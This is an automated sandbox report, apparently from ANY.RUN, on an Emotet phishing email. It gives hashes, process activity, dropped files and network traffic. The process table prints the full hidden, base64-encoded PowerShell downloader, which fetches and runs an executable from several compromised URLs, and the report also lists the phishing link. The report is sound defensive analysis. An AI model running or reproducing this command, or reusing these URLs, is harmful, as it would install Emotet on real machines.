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File name:

postacert.eml (822 bytes).msg

Full analysis: https://app.any.run/tasks/d6ee2b01-e91b-4d72-b547-d1cd8b717d47
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: December 06, 2019, 21:33:14
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
emotet-doc
emotet
loader
Indicators:
MIME: application/vnd.ms-outlook
File info: CDFV2 Microsoft Outlook Message
MD5:

BCD0B60DA7D31AAC541C404D699AF65D

SHA1:

C041B95D85272C56D3C585583B14A3D712A463B8

SHA256:

3B0230B197072A79B1D4098C9C988553D45FCD3582A6EC362133DE61D4C346A8

SSDEEP:

384:CPBabXcBgwlIed5WsKDCrWWH6FHzQq4bq:GBDBJ2IWsKqtaFHkq4bq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops known malicious document

      • iexplore.exe (PID: 1740)
      • WINWORD.EXE (PID: 2620)

    • Unusual execution from Microsoft Office

      • OUTLOOK.EXE (PID: 2864)

    • Application was dropped or rewritten from another process

      • 904.exe (PID: 776)
      • 904.exe (PID: 1940)
      • serialfunc.exe (PID: 1416)
      • serialfunc.exe (PID: 3932)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 320)

    • Emotet process was detected

      • 904.exe (PID: 1940)

  • SUSPICIOUS

    • Reads Internet Cache Settings

      • OUTLOOK.EXE (PID: 2864)

    • Starts Internet Explorer

      • OUTLOOK.EXE (PID: 2864)

    • Starts Microsoft Office Application

      • iexplore.exe (PID: 2824)
      • WINWORD.EXE (PID: 2620)

    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 2864)
      • powershell.exe (PID: 320)

    • PowerShell script executed

      • powershell.exe (PID: 320)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 320)
      • 904.exe (PID: 1940)

    • Application launched itself

      • WINWORD.EXE (PID: 2620)
      • serialfunc.exe (PID: 1416)

    • Executed via WMI

      • powershell.exe (PID: 320)

    • Starts itself from another location

      • 904.exe (PID: 1940)

  • INFO

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 1740)

    • Changes internet zones settings

      • iexplore.exe (PID: 2824)

    • Creates files in the user directory

      • iexplore.exe (PID: 1740)
      • WINWORD.EXE (PID: 2620)

    • Application launched itself

      • iexplore.exe (PID: 2824)

    • Reads internet explorer settings

      • iexplore.exe (PID: 1740)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2620)
      • OUTLOOK.EXE (PID: 2864)
      • WINWORD.EXE (PID: 932)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.msg | Outlook Message (58.9)
.oft | Outlook Form Template (34.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
10
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start outlook.exe iexplore.exe iexplore.exe winword.exe no specs winword.exe no specs powershell.exe 904.exe no specs #EMOTET 904.exe serialfunc.exe no specs serialfunc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2864"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\postacert.eml (822 bytes).msg"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Version:
14.0.6025.1000
2824"C:\Program Files\Internet Explorer\iexplore.exe" https://nissanthanhhoa.vn/ud/personal_1457154207856_5tfbXKj1VdqR/verified_rvx_xgk96jb32o/Q7iWiMWOYC0h_c2ylGqLL/C:\Program Files\Internet Explorer\iexplore.exe
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
1740"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2824 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2620"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\4R6PGK27\final_notice_12072019[1].doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
932"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
320powershell -w hidden -en JABIAGUAcAB4AGIAaAB6AHcAYgBtAGcAPQAnAFcAawBwAG8AcABxAHQAYgByAHoAJwA7ACQAUAB1AHkAdAB0AHUAagBxAHAAdQByACAAPQAgACcAOQAwADQAJwA7ACQAUQBrAGYAegBlAG8AbwB2AHcAPQAnAFMAdwBzAHIAcgBuAGgAcwB4ACcAOwAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAHUAeQB0AHQAdQBqAHEAcAB1AHIAKwAnAC4AZQB4AGUAJwA7ACQAWgBiAGIAZgBhAHIAcQBwAGYAcgBjAHUAcgA9ACcAQwBoAHIAaABwAHoAcwBrAHcAcwB5ACcAOwAkAFAAcwB2AHAAegB1AGkAaQB2AGgAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAYwBMAGkARQBuAHQAOwAkAEwAbABjAHMAdAB0AHIAbABuAHYAeQBhAGYAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGMAYwAtAHMAdAB1AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxADYAOAAzADgANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAZQB2AGUAYwBhAGIAbABlAHMAdAByAGUAZQBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB5ADgAcwB0AC8AdwA0AHEANwA2AC8AKgBoAHQAdABwADoALwAvAGsAYQB5AGIAbwByAGsALgBjAG8AbQAvAGgAbwB3AHQAbwBzAC8ANgAyADAAMAAxADAALwAqAGgAdAB0AHAAOgAvAC8AZABhAHkAegBlAG4AZABhAHAAcABhAHIAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMAA5ADEAMgA0ADQALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbQBhAHQAcgBpAHgALQBvAG4AZQAuAGkAbgBmAG8ALwBjAGcAaQAtAGIAaQBuAC8ANAA5ADAAMAAvACcALgAiAFMAUABsAGAAaQBUACIAKAAnACoAJwApADsAJABEAHIAZgB4AHkAcgBsAGUAeQB6AD0AJwBGAGcAbQBtAHAAYwBiAGMAYQBsAGEAYQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHIAawBwAGcAdAB3AG8AYQAgAGkAbgAgACQATABsAGMAcwB0AHQAcgBsAG4AdgB5AGEAZgApAHsAdAByAHkAewAkAFAAcwB2AHAAegB1AGkAaQB2AGgALgAiAGQAbwB3AG4AYABMAG8AYQBgAEQARgBgAEkATABFACIAKAAkAE8AcgBrAHAAZwB0AHcAbwBhACwAIAAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhACkAOwAkAEcAcQBlAG0AYwBwAGcAbQBvAG0AZgB3AHoAPQAnAEQAaABkAGsAagBzAGcAeABoAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwAyADMAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAHIAdAAiACgAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApADsAJABTAHEAZQBoAGYAcwBmAG4AdQA9ACcARwB5AHUAeQBhAGoAZwBjAHoAbwAnADsAYgByAGUAYQBrADsAJABXAGUAagBoAHoAcwB3AHcAZwBxAHkAdQA9ACcAWAByAGcAeAB5AGoAdQBzAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB4AHgAawB1AGEAdABrAHcAaABkAHYAbAA9ACcAWAByAGUAcQBhAGEAYQBzAG0AbwB2AGIAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
776"C:\Users\admin\904.exe" C:\Users\admin\904.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
OPENGL MFC Application
Exit code:
0
Version:
1, 0, 0, 1
1940--409dce3bC:\Users\admin\904.exe
904.exe
User:
admin
Integrity Level:
MEDIUM
Description:
OPENGL MFC Application
Exit code:
0
Version:
1, 0, 0, 1
1416"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe—904.exe
User:
admin
Integrity Level:
MEDIUM
Description:
OPENGL MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3932--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe—serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
OPENGL MFC Application
Version:
1, 0, 0, 1
Total events
4 857
Read events
3 396
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
9
Text files
43
Unknown types
13

Dropped files

PID
Process
Filename
Type
2864OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVRA821.tmp.cvr —
MD5:—
SHA256:—
2824iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\favicon[1].ico —
MD5:—
SHA256:—
2824iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
1740iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\CabD319.tmp —
MD5:—
SHA256:—
2864OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\outlook logging\firstrun.logtext
MD5:AA0F5E7039BD458CEA09E20271061DA0
SHA256:343F6FBD8F9B83B5E93B599AE8B698136C71720FE02C02F4E016DEEB8EE4ADC9
1740iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\TarD31A.tmp —
MD5:—
SHA256:—
1740iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\CabD32B.tmp —
MD5:—
SHA256:—
1740iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\TarD32C.tmp —
MD5:—
SHA256:—
1740iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\CabD3AA.tmp —
MD5:—
SHA256:—
1740iexplore.exeC:\Users\admin\AppData\Local\Temp\Low\TarD3AB.tmp —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
7
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
320
powershell.exe
GET
200
68.66.224.42:80
http://jdcc-stu.com/wp-includes/168386/
US
executable
492 Kb
suspicious
1740
iexplore.exe
GET
200
92.122.213.217:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
unknown
compressed
57.4 Kb
whitelisted
2824
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2824
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
2864
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
Microsoft Corporation
US
whitelisted
1740
iexplore.exe
103.28.37.16:443
nissanthanhhoa.vn
NhanHoa Software company
VN
suspicious
320
powershell.exe
68.66.224.42:80
jdcc-stu.com
A2 Hosting, Inc.
US
suspicious
1740
iexplore.exe
92.122.213.217:80
www.download.windowsupdate.com
Akamai International B.V.
—
whitelisted

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
nissanthanhhoa.vn
  • 103.28.37.16
unknown
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
www.download.windowsupdate.com
  • 92.122.213.217
  • 92.122.213.201
whitelisted
jdcc-stu.com
  • 68.66.224.42
suspicious

Threats

PID
Process
Class
Message
320
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
320
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
320
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
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Reports
postacert.eml (822 bytes).msg